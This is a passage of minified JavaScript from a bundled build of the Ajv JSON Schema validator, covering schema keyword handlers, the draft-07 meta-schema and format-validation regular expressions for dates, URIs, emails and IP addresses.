M=K.name("valid");if(O.removeAdditional==="failing")D(j,M,!1),K.if((0,vI.not)(M),()=>{A.reset(),Z(j)});else if(D(j,M),!J)K.if((0,vI.not)(M),()=>K.break())}}function D(j,M,P){let f={keyword:"additionalProperties",dataProp:j,dataPropType:L01.Type.Str};if(P===!1)Object.assign(f,{compositeRule:!0,createErrors:!1,allErrors:!1});A.subschema(f,M)}}};gw7.default=vZY});var pw7=v((Uw7)=>{Object.defineProperty(Uw7,"__esModule",{value:!0});var kZY=VuA(),Fw7=yC(),sZ6=hY(),Qw7=aZ6(),CZY={keyword:"properties",type:"object",schemaType:"object",code(A){let{gen:K,schema:q,parentSchema:Y,data:z,it:w}=A;if(w.opts.removeAdditional==="all"&&Y.additionalProperties===void 0)Qw7.default.code(new kZY.KeywordCxt(w,Qw7.default,"additionalProperties"));let H=(0,Fw7.allSchemaProperties)(q);for(let _ of H)w.definedProperties.add(_);if(w.opts.unevaluated&&H.length&&w.props!==!0)w.props=sZ6.mergeEvaluated.props(K,(0,sZ6.toHash)(H),w.props);let J=H.filter((_)=>!(0,sZ6.alwaysValidSchema)(w,q[_]));if(J.length===0)return;let O=K.name("valid");for(let _ of J){if(X(_))$(_);else{if(K.if((0,Fw7.propertyInData)(K,z,_,w.opts.ownProperties)),$(_),!w.allErrors)K.else().var(O,!0);K.endIf()}A.it.definedProperties.add(_),A.ok(O)}function X(_){return w.opts.useDefaults&&!w.compositeRule&&q[_].default!==void 0}function $(_){A.subschema({keyword:"properties",schemaProp:_,dataProp:_},O)}}};Uw7.default=CZY});var nw7=v((iw7)=>{Object.defineProperty(iw7,"__esModule",{value:!0});var dw7=yC(),R01=B3(),cw7=hY(),lw7=hY(),RZY={keyword:"patternProperties",type:"object",schemaType:"object",code(A){let{gen:K,schema:q,data:Y,parentSchema:z,it:w}=A,{opts:H}=w,J=(0,dw7.allSchemaProperties)(q),O=J.filter((D)=>(0,cw7.alwaysValidSchema)(w,q[D]));if(J.length===0||O.length===J.length&&(!w.opts.unevaluated||w.props===!0))return;let X=H.strictSchema&&!H.allowMatchingProperties&&z.properties,$=K.name("valid");if(w.props!==!0&&!(w.props instanceof R01.Name))w.props=(0,lw7.evaluatedPropsToName)(K,w.props);let{props:_}=w;G();function G(){for(let D of J){if(X)Z(D);if(w.allErrors)W(D);else K.var($,!0),W(D),K.if($)}}function Z(D){for(let j in X)if(new RegExp(D).test(j))(0,cw7.checkStrictMode)(w,`property ${j} matches pattern ${D} (use allowMatchingProperties)`)}function W(D){K.forIn("key",Y,(j)=>{K.if(R01._`${(0,dw7.usePattern)(A,D)}.test(${j})`,()=>{let M=O.includes(D);if(!M)A.subschema({keyword:"patternProperties",schemaProp:D,dataProp:j,dataPropType:lw7.Type.Str},$);if(w.opts.unevaluated&&_!==!0)K.assign(R01._`${_}[${j}]`,!0);else if(!M&&!w.allErrors)K.if((0,R01.not)($),()=>K.break())})})}}};iw7.default=RZY});var ow7=v((rw7)=>{Object.defineProperty(rw7,"__esModule",{value:!0});var IZY=hY(),SZY={keyword:"not",schemaType:["object","boolean"],trackErrors:!0,code(A){let{gen:K,schema:q,it:Y}=A;if((0,IZY.alwaysValidSchema)(Y,q)){A.fail();return}let z=K.name("valid");A.subschema({keyword:"not",compositeRule:!0,createErrors:!1,allErrors:!1},z),A.failResult(z,()=>A.reset(),()=>A.error())},error:{message:"must NOT be valid"}};rw7.default=SZY});var sw7=v((aw7)=>{Object.defineProperty(aw7,"__esModule",{value:!0});var bZY=yC(),xZY={keyword:"anyOf",schemaType:"array",trackErrors:!0,code:bZY.validateUnion,error:{message:"must match a schema in anyOf"}};aw7.default=xZY});var ew7=v((tw7)=>{Object.defineProperty(tw7,"__esModule",{value:!0});var y01=B3(),BZY=hY(),mZY={message:"must match exactly one schema in oneOf",params:({params:A})=>y01._`{passingSchemas: ${A.passing}}`},gZY={keyword:"oneOf",schemaType:"array",trackErrors:!0,error:mZY,code(A){let{gen:K,schema:q,parentSchema:Y,it:z}=A;if(!Array.isArray(q))throw Error("ajv implementation error");if(z.opts.discriminator&&Y.discriminator)return;let w=q,H=K.let("valid",!1),J=K.let("passing",null),O=K.name("_valid");A.setParams({passing:J}),K.block(X),A.result(H,()=>A.reset(),()=>A.error(!0));function X(){w.forEach(($,_)=>{let G;if((0,BZY.alwaysValidSchema)(z,$))K.var(O,!0);else G=A.subschema({keyword:"oneOf",schemaProp:_,compositeRule:!0},O);if(_>0)K.if(y01._`${O} && ${H}`).assign(H,!1).assign(J,y01._`[${J}, ${_}]`).else();K.if(O,()=>{if(K.assign(H,!0),K.assign(J,_),G)A.mergeEvaluated(G,y01.Name)})})}}};tw7.default=gZY});var KH7=v((AH7)=>{Object.defineProperty(AH7,"__esModule",{value:!0});var QZY=hY(),UZY={keyword:"allOf",schemaType:"array",code(A){let{gen:K,schema:q,it:Y}=A;if(!Array.isArray(q))throw Error("ajv implementation error");let z=K.name("valid");q.forEach((w,H)=>{if((0,QZY.alwaysValidSchema)(Y,w))return;let J=A.subschema({keyword:"allOf",schemaProp:H},z);A.ok(z),A.mergeEvaluated(J)})}};AH7.default=UZY});var wH7=v((zH7)=>{Object.defineProperty(zH7,"__esModule",{value:!0});var I01=B3(),YH7=hY(),dZY={message:({params:A})=>I01.str`must match "${A.ifClause}" schema`,params:({params:A})=>I01._`{failingKeyword: ${A.ifClause}}`},cZY={keyword:"if",schemaType:["object","boolean"],trackErrors:!0,error:dZY,code(A){let{gen:K,parentSchema:q,it:Y}=A;if(q.then===void 0&&q.else===void 0)(0,YH7.checkStrictMode)(Y,'"if" without "then" and "else" is ignored');let z=qH7(Y,"then"),w=qH7(Y,"else");if(!z&&!w)return;let H=K.let("valid",!0),J=K.name("_valid");if(O(),A.reset(),z&&w){let $=K.let("ifClause");A.setParams({ifClause:$}),K.if(J,X("then",$),X("else",$))}else if(z)K.if(J,X("then"));else K.if((0,I01.not)(J),X("else"));A.pass(H,()=>A.error(!0));function O(){let $=A.subschema({keyword:"if",compositeRule:!0,createErrors:!1,allErrors:!1},J);A.mergeEvaluated($)}function X($,_){return()=>{let G=A.subschema({keyword:$},J);if(K.assign(H,J),A.mergeValidEvaluated(G,H),_)K.assign(_,I01._`${$}`);else A.setParams({ifClause:$})}}}};function qH7(A,K){let q=A.schema[K];return q!==void 0&&!(0,YH7.alwaysValidSchema)(A,q)}zH7.default=cZY});var JH7=v((HH7)=>{Object.defineProperty(HH7,"__esModule",{value:!0});var iZY=hY(),nZY={keyword:["then","else"],schemaType:["object","boolean"],code({keyword:A,parentSchema:K,it:q}){if(K.if===void 0)(0,iZY.checkStrictMode)(q,`"${A}" without "if" is ignored`)}};HH7.default=nZY});var XH7=v((OH7)=>{Object.defineProperty(OH7,"__esModule",{value:!0});var oZY=nZ6(),aZY=vw7(),sZY=rZ6(),tZY=Cw7(),eZY=Rw7(),AWY=xw7(),KWY=mw7(),qWY=aZ6(),YWY=pw7(),zWY=nw7(),wWY=ow7(),HWY=sw7(),JWY=ew7(),OWY=KH7(),XWY=wH7(),$WY=JH7();function _WY(A=!1){let K=[wWY.default,HWY.default,JWY.default,OWY.default,XWY.default,$WY.default,KWY.default,qWY.default,AWY.default,YWY.default,zWY.default];if(A)K.push(aZY.default,tZY.default);else K.push(oZY.default,sZY.default);return K.push(eZY.default),K}OH7.default=_WY});var _H7=v(($H7)=>{Object.defineProperty($H7,"__esModule",{value:!0});var HX=B3(),ZWY={message:({schemaCode:A})=>HX.str`must match format "${A}"`,params:({schemaCode:A})=>HX._`{format: ${A}}`},WWY={keyword:"format",type:["number","string"],schemaType:"string",$data:!0,error:ZWY,code(A,K){let{gen:q,data:Y,$data:z,schema:w,schemaCode:H,it:J}=A,{opts:O,errSchemaPath:X,schemaEnv:$,self:_}=J;if(!O.validateFormats)return;if(z)G();else Z();function G(){let W=q.scopeValue("formats",{ref:_.formats,code:O.code.formats}),D=q.const("fDef",HX._`${W}[${H}]`),j=q.let("fType"),M=q.let("format");q.if(HX._`typeof ${D} == "object" && !(${D} instanceof RegExp)`,()=>q.assign(j,HX._`${D}.type || "string"`).assign(M,HX._`${D}.validate`),()=>q.assign(j,HX._`"string"`).assign(M,D)),A.fail$data((0,HX.or)(P(),f()));function P(){if(O.strictSchema===!1)return HX.nil;return HX._`${H} && !${M}`}function f(){let N=$.$async?HX._`(${D}.async ? await ${M}(${Y}) : ${M}(${Y}))`:HX._`${M}(${Y})`,T=HX._`(typeof ${M} == "function" ? ${N} : ${M}.test(${Y}))`;return HX._`${M} && ${M} !== true && ${j} === ${K} && !${T}`}}function Z(){let W=_.formats[w];if(!W){P();return}if(W===!0)return;let[D,j,M]=f(W);if(D===K)A.pass(N());function P(){if(O.strictSchema===!1){_.logger.warn(T());return}throw Error(T());function T(){return`unknown format "${w}" ignored in schema at path "${X}"`}}function f(T){let C=T instanceof RegExp?(0,HX.regexpCode)(T):O.code.formats?HX._`${O.code.formats}${(0,HX.getProperty)(w)}`:void 0,R=q.scopeValue("formats",{key:w,ref:T,code:C});if(typeof T=="object"&&!(T instanceof RegExp))return[T.type||"string",T.validate,HX._`${R}.validate`];return["string",T,R]}function N(){if(typeof W=="object"&&!(W instanceof RegExp)&&W.async){if(!$.$async)throw Error("async format in sync schema");return HX._`await ${M}(${Y})`}return typeof j=="function"?HX._`${M}(${Y})`:HX._`${M}.test(${Y})`}}}};$H7.default=WWY});var ZH7=v((GH7)=>{Object.defineProperty(GH7,"__esModule",{value:!0});var jWY=_H7(),MWY=[jWY.default];GH7.default=MWY});var jH7=v((WH7)=>{Object.defineProperty(WH7,"__esModule",{value:!0});WH7.contentVocabulary=WH7.metadataVocabulary=void 0;WH7.metadataVocabulary=["title","description","default","deprecated","readOnly","writeOnly","examples"];WH7.contentVocabulary=["contentMediaType","contentEncoding","contentSchema"]});var VH7=v((PH7)=>{Object.defineProperty(PH7,"__esModule",{value:!0});var fWY=Uz7(),NWY=Ww7(),TWY=XH7(),vWY=ZH7(),MH7=jH7(),EWY=[fWY.default,NWY.default,(0,TWY.default)(),vWY.default,MH7.metadataVocabulary,MH7.contentVocabulary];PH7.default=EWY});var vH7=v((NH7)=>{Object.defineProperty(NH7,"__esModule",{value:!0});NH7.DiscrError=void 0;var fH7;(function(A){A.Tag="tag",A.Mapping="mapping"})(fH7||(NH7.DiscrError=fH7={}))});var CH7=v((kH7)=>{Object.defineProperty(kH7,"__esModule",{value:!0});var tGA=B3(),tZ6=vH7(),EH7=G01(),CWY=fuA(),LWY=hY(),RWY={message:({params:{discrError:A,tagName:K}})=>A===tZ6.DiscrError.Tag?`tag "${K}" must be string`:`value of tag "${K}" must be in oneOf`,params:({params:{discrError:A,tag:K,tagName:q}})=>tGA._`{error: ${A}, tag: ${q}, tagValue: ${K}}`},yWY={keyword:"discriminator",type:"object",schemaType:"object",error:RWY,code(A){let{gen:K,data:q,schema:Y,parentSchema:z,it:w}=A,{oneOf:H}=z;if(!w.opts.discriminator)throw Error("discriminator: requires discriminator option");let J=Y.propertyName;if(typeof J!="string")throw Error("discriminator: requires propertyName");if(Y.mapping)throw Error("discriminator: mapping is not supported");if(!H)throw Error("discriminator: requires oneOf keyword");let O=K.let("valid",!1),X=K.const("tag",tGA._`${q}${(0,tGA.getProperty)(J)}`);K.if(tGA._`typeof ${X} == "string"`,()=>$(),()=>A.error(!1,{discrError:tZ6.DiscrError.Tag,tag:X,tagName:J})),A.ok(O);function $(){let Z=G();K.if(!1);for(let W in Z)K.elseIf(tGA._`${X} === ${W}`),K.assign(O,_(Z[W]));K.else(),A.error(!1,{discrError:tZ6.DiscrError.Mapping,tag:X,tagName:J}),K.endIf()}function _(Z){let W=K.name("valid"),D=A.subschema({keyword:"oneOf",schemaProp:Z},W);return A.mergeEvaluated(D,tGA.Name),W}function G(){var Z;let W={},D=M(z),j=!0;for(let N=0;N<H.length;N++){let T=H[N];if((T===null||T===void 0?void 0:T.$ref)&&!(0,LWY.schemaHasRulesButRef)(T,w.self.RULES)){let R=T.$ref;if(T=EH7.resolveRef.call(w.self,w.schemaEnv.root,w.baseId,R),T instanceof EH7.SchemaEnv)T=T.schema;if(T===void 0)throw new CWY.default(w.opts.uriResolver,w.baseId,R)}let C=(Z=T===null||T===void 0?void 0:T.properties)===null||Z===void 0?void 0:Z[J];if(typeof C!="object")throw Error(`discriminator: oneOf subschemas (or referenced schemas) must have "properties/${J}"`);j=j&&(D||M(T)),P(C,N)}if(!j)throw Error(`discriminator: "${J}" must be required`);return W;function M({required:N}){return Array.isArray(N)&&N.includes(J)}function P(N,T){if(N.const)f(N.const,T);else if(N.enum)for(let C of N.enum)f(C,T);else throw Error(`discriminator: "properties/${J}" must have "const" or "enum"`)}function f(N,T){if(typeof N!="string"||N in W)throw Error(`discriminator: "${J}" values must be unique strings`);W[N]=T}}}};kH7.default=yWY});var LH7=v((aAH,SWY)=>{SWY.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}});var h01=v((_f,eZ6)=>{Object.defineProperty(_f,"__esModule",{value:!0});_f.MissingRefError=_f.ValidationError=_f.CodeGen=_f.Name=_f.nil=_f.stringify=_f.str=_f._=_f.KeywordCxt=_f.Ajv=void 0;var hWY=Sz7(),bWY=VH7(),xWY=CH7(),RH7=LH7(),uWY=["/properties"],S01="http://json-schema.org/draft-07/schema";class huA extends hWY.default{_addVocabularies(){if(super._addVocabularies(),bWY.default.forEach((A)=>this.addVocabulary(A)),this.opts.discriminator)this.addKeyword(xWY.default)}_addDefaultMetaSchema(){if(super._addDefaultMetaSchema(),!this.opts.meta)return;let A=this.opts.$data?this.$dataMetaSchema(RH7,uWY):RH7;this.addMetaSchema(A,S01,!1),this.refs["http://json-schema.org/schema"]=S01}defaultMeta(){return this.opts.defaultMeta=super.defaultMeta()||(this.getSchema(S01)?S01:void 0)}}_f.Ajv=huA;eZ6.exports=_f=huA;eZ6.exports.Ajv=huA;Object.defineProperty(_f,"__esModule",{value:!0});_f.default=huA;var BWY=VuA();Object.defineProperty(_f,"KeywordCxt",{enumerable:!0,get:function(){return BWY.KeywordCxt}});var eGA=B3();Object.defineProperty(_f,"_",{enumerable:!0,get:function(){return eGA._}});Object.defineProperty(_f,"str",{enumerable:!0,get:function(){return eGA.str}});Object.defineProperty(_f,"stringify",{enumerable:!0,get:function(){return eGA.stringify}});Object.defineProperty(_f,"nil",{enumerable:!0,get:function(){return eGA.nil}});Object.defineProperty(_f,"Name",{enumerable:!0,get:function(){return eGA.Name}});Object.defineProperty(_f,"CodeGen",{enumerable:!0,get:function(){return eGA.CodeGen}});var mWY=$01();Object.defineProperty(_f,"ValidationError",{enumerable:!0,get:function(){return mWY.default}});var gWY=fuA();Object.defineProperty(_f,"MissingRefError",{enumerable:!0,get:function(){return gWY.default}})});var gH7=v((BH7)=>{Object.defineProperty(BH7,"__esModule",{value:!0});BH7.formatNames=BH7.fastFormats=BH7.fullFormats=void 0;function pu(A,K){return{validate:A,compare:K}}BH7.fullFormats={date:pu(hH7,YW6),time:pu(KW6(!0),zW6),"date-time":pu(yH7(!0),xH7),"iso-time":pu(KW6(),bH7),"iso-date-time":pu(yH7(),uH7),duration:/^P(?!$)((\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+S)?)?|(\d+W)?)$/,uri:iWY,"uri-reference":/^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,"uri-template":/^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i,url:/^(?:https?|ftp):\/\/(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)(?:\.(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)*(?:\.(?:[a-z\u{00a1}-\u{ffff}]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/iu,email:/^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,hostname:/^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)$/,ipv6:/^((([0-9a-f]{1,4}:){7}([0-9a-f]{1,4}|:))|(([0-9a-f]{1,4}:){6}(:[0-9a-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){5}(((:[0-9a-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){4}(((:[0-9a-f]{1,4}){1,3})|((:[0-9a-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){3}(((:[0-9a-f]{1,4}){1,4})|((:[0-9a-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){2}(((:[0-9a-f]{1,4}){1,5})|((:[0-9a-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){1}(((:[0-9a-f]{1,4}){1,6})|((:[0-9a-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9a-f]{1,4}){1,7})|((:[0-9a-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))$/i,regex:eWY,uuid:/^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i,"json-pointer":/^(?:\/(?:[^~/]|~0|~1)*)*$/,"json-pointer-uri-fragment":/^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i,"relative-json-pointer":/^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/,byte:nWY,int32:{type:"number",validate:aWY},int64:{type:"number",validate:sWY},float:{type:"number",validate:SH7},double:{type:"number",validate:SH7},password:!0,binary:!0};BH7.fastFormats={...BH7.fullFormats,date:pu(/^\d\d\d\d-[0-1]\d-[0-3]\d$/,YW6),time:pu(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,zW6),"date-time":pu(/^\d\d\d\d-[0-1]\d-[0-3]\dt(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,xH7),"iso-time":pu(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,bH7),"iso-date-time":pu(/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,uH7),uri:/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i,"uri-reference":/^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i,email:/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i};BH7.formatNames=Object.keys(BH7.fullFormats);function UWY(A){return A%4===0&&(A%100!==0||A%400===0)}var pWY=/^(\d\d\d\d)-(\d\d)-(\d\d)$/,dWY=[0,31,28,31,30,31,30,31,31,30,31,30,31];function hH7(A){let K=pWY.exec(A);if(!K)return!1;let q=+K[1],Y=+K[2],z=+K[3];return Y>=1&&Y<=12&&z>=1&&z<=(Y===2&&UWY(q)?29:dWY[Y])}function YW6(A,K){if(!(A&&K))return;if(A>K)return 1;if(A<K)return-1;return 0}var AW6=/^(\d\d):(\d\d):(\d\d(?:\.\d+)?)(z|([+-])(\d\d)(?::?(\d\d))?)?$/i;function KW6(A){return function(q){let Y=AW6.exec(q);if(!Y)return!1;let z=+Y[1],w=+Y[2],H=+Y[3],J=Y[4],O=Y[5]==="-"?-1:1,X=+(Y[6]||0),$=+(Y[7]||0);if(X>23||$>59||A&&!J)return!1;if(z<=23&&w<=59&&H<60)return!0;let _=w-$*O,G=z-X*O-(_<0?1:0);return(G===23||G===-1)&&(_===59||_===-1)&&H<61}}function zW6(A,K){if(!(A&&K))return;let q=new Date("2020-01-01T"+A).valueOf(),Y=new Date("2020-01-01T"+K).valueOf();if(!(q&&Y))return;return q-Y}function bH7(A,K){if(!(A&&K))return;let q=AW6.exec(A),Y=AW6.exec(K);if(!(q&&Y))return;if(A=q[1]+q[2]+q[3],K=Y[1]+Y[2]+Y[3],A>K)return 1;if(A<K)return-1;return 0}var qW6=/t|\s/i;function yH7(A){let K=KW6(A);return function(Y){let z=Y.split(qW6);return z.length===2&&hH7(z[0])&&K(z[1])}}function xH7(A,K){if(!(A&&K))return;let q=new Date(A).valueOf(),Y=new Date(K).valueOf();if(!(q&&Y))return;return q-Y}function uH7(A,K){if(!(A&&K))return;let[q,Y]=A.split(qW6),[z,w]=K.split(qW6),H=YW6(q,z);if(H===void 0)return;return H||zW6(Y,w)}var cWY=/\/|:/,lWY=/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i;function iWY(A){return cWY.test(A)&&lWY.test(A)}var 